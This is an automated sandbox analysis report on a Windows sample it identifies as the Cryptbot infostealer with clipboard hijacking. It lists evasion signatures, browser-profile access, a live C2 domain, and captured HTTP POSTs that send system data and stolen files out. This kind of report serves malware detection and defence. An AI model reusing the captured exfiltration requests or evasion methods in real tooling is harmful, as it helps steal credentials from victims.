Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1565416
MD5: 7b6e53d8288ab7a3a6326d4c54b50d29
SHA1: 3bf4f8efff2c80320de9e80ca1c5bdcb46475fc7
SHA256: 88da6db6c7bf4dfe1657bee54e02af2edc7552dd0c6245e6a6a97dcfe1056723
Tags: exeuser-Bitsight
Infos:

Detection

Clipboard Hijacker, Cryptbot
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Attempt to bypass Chrome Application-Bound Encryption
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Clipboard Hijacker
Yara detected Cryptbot
AI detected suspicious sample
Drops large PE files
Hides threads from debuggers
Leaks process information
Machine Learning detection for sample
PE file contains section with special chars
Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Uses schtasks.exe or at.exe to add and modify task schedules
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for read data from the clipboard
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Detected potential crypto function
Drops PE files
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Browser Started with Remote Debugging
Sigma detected: Suspicious Schtasks From Env Var Folder
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

Name Description Attribution Blogpost URLs Link
CryptBot A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Multi AV Scanner detection for submitted file
Source: file.exe ReversingLabs: Detection: 39%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_002115B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 7_2_002115B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1414B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 7_2_6C1414B0
Source: file.exe, 00000000.00000003.2025094948.00000000077E9000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_54bd26ca-2
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\doomed\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\entries\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\ Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea ecx, dword ptr [esp+04h] 7_2_002181E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C1BAEC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C1BAF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C1BAF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 7_2_6C160860
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 7_2_6C16A970
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 7_2_6C16A9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 7_2_6C16A9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6C21F960h 7_2_6C15EB10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 7_2_6C1D6BC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C164453
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 7_2_6C16C510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 7_2_6C16A580
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 7_2_6C16A5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 7_2_6C16A5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C1BC5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 7_2_6C16E6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 7_2_6C16E6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, ecx 7_2_6C1E0730
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 7_2_6C160740
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+04h] 7_2_6C19A1E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 7_2_6C160260
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [6C21D014h] 7_2_6C214360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 7_2_6C1B3840
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+04h] 7_2_6C16D974
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C1BBA20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C1BBA90
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C1BBA90
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 7_2_6C17BBD7
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 7_2_6C17BBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C1BB4D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 7_2_6C16D504
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 7_2_6C1B9600
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C1BB630
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+0Ch] 7_2_6C16D674
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6C21DFF4h 7_2_6C1B3690
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+08h] 7_2_6C16D7F4
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 7_2_6C1E3140
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 7_2_6C15B1D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 7_2_6C207370
Source: chrome.exe Memory has grown: Private usage: 1MB later: 29MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:49781 -> 34.118.84.150:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:49744 -> 34.118.84.150:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:49750 -> 34.118.84.150:80
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global traffic HTTP traffic detected: POST /bugEWhhZIPIipxajeFfO1732855736 HTTP/1.1Host: home.twentykx20pt.topAccept: */*Content-Type: application/jsonContent-Length: 556187Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 32 39 30 34 32 31 38 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic HTTP traffic detected: GET /bugEWhhZIPIipxajeFfO1732855736?argument=V3pE2pk3ErlV9NFr1732904223 HTTP/1.1Host: home.twentykx20pt.topAccept: */*
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentykx20pt.topAccept: */*Content-Length: 463Content-Type: multipart/form-data; boundary=------------------------j9jinEYkLN6IKOq7ymRhD0Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6a 39 6a 69 6e 45 59 6b 4c 4e 36 49 4b 4f 71 37 79 6d 52 68 44 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4c 61 77 6f 67 75 6a 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 22 b1 9a 85 30 26 59 a4 ac 98 7c df c9 04 90 3c 09 ff 8c 1f 7b 46 e9 62 52 91 a2 45 50 43 96 dd eb f9 17 b2 35 fa 68 7a 8d 40 04 ed b5 66 00 33 fb be 57 b9 77 58 bd 81 12 48 d1 49 31 c3 2f 9e 53 4b 7e fd 23 b7 24 5b 76 45 97 86 65 7d 6a fd 7b bc af ae 69 10 53 da bc f2 76 82 3c 74 a5 3e 47 f4 fb 9a 51 81 ae 4c 46 cf f4 93 45 29 71 46 8d f1 7a 90 ea 53 f9 89 b0 36 ca 6b 1a 95 76 b5 6f da d4 7f 50 18 ba 1b f4 a8 e4 ef c7 89 40 1c 59 97 f8 78 a6 e4 46 07 3d 21 a7 b3 bc ce 1e d3 50 43 50 d3 45 02 09 80 46 5c ee 8f f7 ae 07 fa 95 5f 27 3b 3c 6c d1 c2 2d 9b 9e 54 ad d7 96 34 8e 2a 10 02 7b e2 b7 e2 81 09 34 bf 8e 68 19 47 55 f9 15 ff d4 19 00 e3 41 df 92 b2 b9 86 85 d9 f1 0d f5 c9 42 d2 cd f9 58 7e 30 5a 76 0b 5a db 59 65 12 f9 ec 0b 02 46 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6a 39 6a 69 6e 45 59 6b 4c 4e 36 49 4b 4f 71 37 79 6d 52 68 44 30 2d 2d 0d 0a Data Ascii: --------------------------j9jinEYkLN6IKOq7ymRhD0Content-Disposition: form-data; name="file"; filename="Lawoguj.bin"Content-Type: application/octet-stream"0&Y|<{FbREPC5hz@f3WwXHI1/SK~#$[vEe}j{iSv<t>GQLFE)qFzS6kvoP@YxF=!PCPEF\_';<l-T4*{4hGUABX~0ZvZYeF--------------------------j9jinEYkLN6IKOq7ymRhD0--
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentykx20pt.topAccept: */*Content-Length: 89207Content-Type: multipart/form-data; boundary=------------------------exXzOMZV7JOP9pvKLdShYTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 78 58 7a 4f 4d 5a 56 37 4a 4f 50 39 70 76 4b 4c 64 53 68 59 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 69 72 6f 6c 61 6b 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1a f4 a5 a7 b4 64 77 8f a1 2e 7d 4c 3a 33 eb 11 36 43 4a ce a9 be a8 2a c1 d6 c0 72 fb b7 cc 17 34 d5 77 4b 10 9d b5 50 ec ac a4 c4 68 f2 d5 e2 4e 0a 3c 71 7f c8 0a 48 4f ef 5b 21 85 bd 05 77 24 92 b5 04 e9 8b c4 4b 5a aa 5c cc 70 9f 6c 89 3d c4 3e 23 e0 07 31 49 ed 64 15 24 4d dc c5 69 f7 82 62 17 5c e5 2f 6c 0c 59 ee ab d4 2c ef 49 88 ac bb e3 e9 c5 48 cc 07 08 6e c7 43 27 64 62 ae 76 5d 50 af e8 b4 f4 a8 a1 51 00 40 e1 6f d7 c4 20 03 cd 6b 6e 89 e2 3b d5 60 58 19 fa f4 50 f6 c7 fd 50 89 ae c1 a6 54 21 7a 09 fb ce 6c 31 79 a1 1c 3f 84 85 5e de 14 b0 b0 59 00 87 4c 83 7d 4b 11 44 54 be f0 7d 6d 9b 00 6d 6b 86 7b 1d 61 93 c4 32 dd 4d 24 9f 13 1c 6f 71 82 14 62 c7 6e 78 9f 68 bf 9d 8b b1 8b 35 cf 5f 96 93 c0 77 d1 76 3d 3f 3f 95 98 e4 20 45 97 75 47 d6 11 24 e8 37 8c 30 bb d3 a7 5b 7b e5 1e 37 58 34 87 11 9f 58 69 b2 bf 9f d7 49 f5 9d 45 5f 68 8e b1 b7 80 67 55 ab e6 77 21 85 7a 1a 77 4a 40 63 4f 66 1e ff c5 c2 0b 98 08 d0 51 9c c7 0e 32 37 62 11 14 14 de ba ee 17 46 2e ef 80 f1 df f8 3d bd c7 81 42 8c 3d 95 c0 e3 d0 17 4a 2b 1c 3e c3 a1 27 74 f0 d5 7a 37 b6 7e 9c a4 91 0e 88 ff 8e a6 b5 23 ce 6a 74 65 94 db d6 47 bc 64 61 c1 dd ea 37 ac f5 79 56 93 6d d4 b4 d5 45 45 7b e9 4e 03 75 fd 2b 3d ce 70 f7 65 6d da 94 e4 e9 c3 ab e9 01 53 2d cb 2f 63 68 89 5d f9 aa 86 c1 89 3c e2 c7 0c 6b 30 a2 05 fb df f8 0b e1 4c 25 61 6a 7d 38 8e db 0a 68 4a bd 46 f9 df 8a cf 33 22 9c e3 80 f6 92 ea 62 3b 26 ba d4 3f 8f 1f be f0 69 23 ec 34 33 9c 6f 1e 1e 0d cb e2 cf 8c 76 91 bb f6 90 bc 1a a4 54 2b 1d f2 92 6d a8 12 58 03 65 40 29 ee a5 fe 02 70 c8 08 1e 76 3f 6c c2 3e f6 31 c7 78 15 e4 c0 58 55 3e 00 a7 69 f2 ed ca 58 58 1e 85 38 f7 cf d2 3b cd 29 09 e7 75 89 1e 0c 36 9c ec 3b 66 99 10 c6 3d e3 97 2b ae 82 dd b6 ae 16 6c f0 0b 78 0b fa ae 26 1f b1 2c 8e 18 c1 e7 83 7e 37 a0 c2 40 f3 00 eb 76 21 ee b1 c6 fa 2c 7b 82 99 bf f2 0c d2 1e 8e 51 89 f8 d6 18 1c f5 b8 80 12 8e 96 af 06 3e 48 7d 0f 3a 4f 19 7d cd ac 60 d2 7b a8 04 94 83 3b d2 e3 4b b1 67 27 bb 5c 29 32 3c ae 27 0e 35 10 04 e9 3d 36 bc 91 27 3d f4 1f 39 1a 5e d9 43 e3 90 24 f5 d4 0e 94 cb 79 41 c9 39 f0 ce a4 cd b5 9c 7e 85 00 9e 1a c8 84 fb 4f 66 d8 b4 4d 4a ab 6b a3 3c a2 42 3f d1 11 01 32 40 03 83 84 c4 17 d2 de 88 e1 e8 4e c2 f5 46 22 d6 39 23 d2 3c 2d 74 22 cf 20 b6 0f f3 ec a9 14 d6 d7 de f2 7f b1 7f f8 82 54 f2 70 ab 9e 31 ac 95 41 7f 2d 5e
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentykx20pt.topAccept: */*Content-Length: 30336Content-Type: multipart/form-data; boundary=------------------------mfLjKbedAUGgesuivV51lPData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6d 66 4c 6a 4b 62 65 64 41 55 47 67 65 73 75 69 76 56 35 31 6c 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4a 75 77 65 7a 65 6e 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 26 1f a5 90 d8 95 c1 87 89 0b f5 c6 04 67 14 5e ed 4b 13 2c 83 de b6 d6 86 4f 52 8d c7 c2 25 62 52 6b e3 20 9b 1d 69 95 d0 ee 25 86 5c 78 d0 b2 81 5c ff f7 db a7 c7 dc ef ad 94 59 2e c1 5f aa e1 95 da b6 2d 1b d5 d5 2b 32 3d 3a 0b aa 3d 8d be 78 d0 e8 bc e2 51 e1 42 eb 8d ae 64 37 00 3b 18 bd 3f 41 50 db 76 3e f8 f9 c0 57 c7 cc 58 b8 ee 54 63 6a 5b 30 50 7f e4 be 13 9a 3e 59 ea 7f 54 58 57 5f b9 2b b2 b7 e2 34 50 bc d4 79 d0 89 78 f9 0e af 57 c2 2c 4e fb 77 0f b8 48 77 7a 43 da df d4 3b 46 c2 d7 1d 13 f1 9c 53 c9 0a 31 5c 70 55 35 1d be 5d af 8d 42 9b 87 bd 51 5d 8f f2 1d 24 1a 74 8a 50 48 15 41 1e bd 10 bd e3 8a 37 81 6f b8 d9 2e 80 33 cd 98 98 a5 d4 5d 99 eb e6 2a 41 d1 30 bf c2 3d ba 14 18 f4 70 fe f3 f5 96 3b bf 55 ef d3 ee a9 a2 ef 18 55 ae 81 37 78 fb d7 74 a5 1e 8c 9a 3b 30 a6 a7 96 da 42 6c 4c 2e 07 0c f7 39 ef 81 fb 53 e4 7e 02 ce 50 97 9b ee 45 ea 69 36 4f be 1e bb c8 28 b3 3d 4f 61 5a ca 09 95 a1 ba cb 9e 54 36 59 70 b1 e0 df 36 05 bd f1 d8 c2 c8 86 61 2a 0b a0 a3 58 8c fd cc 53 b2 f2 f5 34 ad 38 4f b0 d3 c3 07 11 ad 6c 7a 96 ee 02 68 72 a7 63 ed 29 9a a2 5c b6 10 2b b9 91 e7 04 8f 97 b7 c1 e7 64 06 f4 23 f6 d1 cc 0a 6b 3d 2d 14 1e 1c 73 a0 b0 42 cd e0 9d 04 c1 57 bb 5d 02 3b a5 4f 84 b7 7a 1d 96 03 df e0 80 09 e0 2c 98 32 cb 9e 04 60 28 43 a6 95 85 b6 b4 b4 ae 1d de 2d c0 1f 85 cc 5a 05 af d0 99 6a 9d 7c 4c 5d 3c 81 12 ca 44 94 47 76 d2 d0 87 62 89 4b 3b 82 0f a2 90 0d 74 b5 88 ff 3f 16 35 ed 3e ca f9 07 0c e9 dc 5f 8c f2 88 53 11 b4 72 f4 75 53 17 51 43 ab f5 76 9c c4 2b 9b ff ba 10 9b a3 04 f8 53 7b 61 c8 b1 7c 45 68 80 6f 80 28 38 8e d8 99 77 5e 86 a7 d5 93 57 9a f7 d4 34 18 04 64 77 6d ff 79 a9 f4 a3 46 ba 1c 06 df 02 65 84 36 b4 b7 ca 7c 1b 7f d6 f4 26 3a c4 e8 20 7a 16 6f 7e fe 4c 01 48 31 35 65 99 49 fe 29 d2 cc 81 21 e4 00 26 50 b3 93 1c 80 f6 7a e2 da cb bd 4f ce 51 f3 5f da 3a f6 47 7c 6f 4c 70 53 4b 19 76 fd 7f 22 ff b7 6d 46 f1 c5 f3 5f 22 f3 e0 68 94 f2 83 54 f8 98 ce 61 3e 29 1c dd 4e dd 43 d1 2b d3 cb e1 06 57 54 4a 7e d0 84 9c 99 14 f1 63 a6 e1 a1 59 68 3b 05 b0 71 d7 5a fb a7 95 fa 77 f6 4b 68 d2 55 dc f7 34 80 80 a4 07 c9 e6 30 bf b1 c5 da 23 c5 b4 d4 df 7b 5a 9f 69 fa ae 78 db 64 94 4f c9 9e 43 0e 91 2d f4 28 93 78 33 b8 12 24 ef e2 47 cf 77 d9 f2 d0 d1 3d 72 65 dd 7c fa 57 fd 96 47 ff e8 74 37 91 65 86 3c 55 bc 12 2d f3 f2 57 9a 69 89 49 95 ed 84 e3
Source: global traffic HTTP traffic detected: POST /bugEWhhZIPIipxajeFfO1732855736 HTTP/1.1Host: home.twentykx20pt.topAccept: */*Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 56 33 70 45 32 70 6b 33 45 72 6c 56 39 4e 46 72 31 37 33 32 39 30 34 32 32 33 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "V3pE2pk3ErlV9NFr1732904223", "data": "Done2" }
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 18.213.123.165 18.213.123.165
Source: Joe Sandbox View IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View IP Address: 34.118.84.150 34.118.84.150
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global traffic HTTP traffic detected: GET /bugEWhhZIPIipxajeFfO1732855736?argument=V3pE2pk3ErlV9NFr1732904223 HTTP/1.1Host: home.twentykx20pt.topAccept: */*
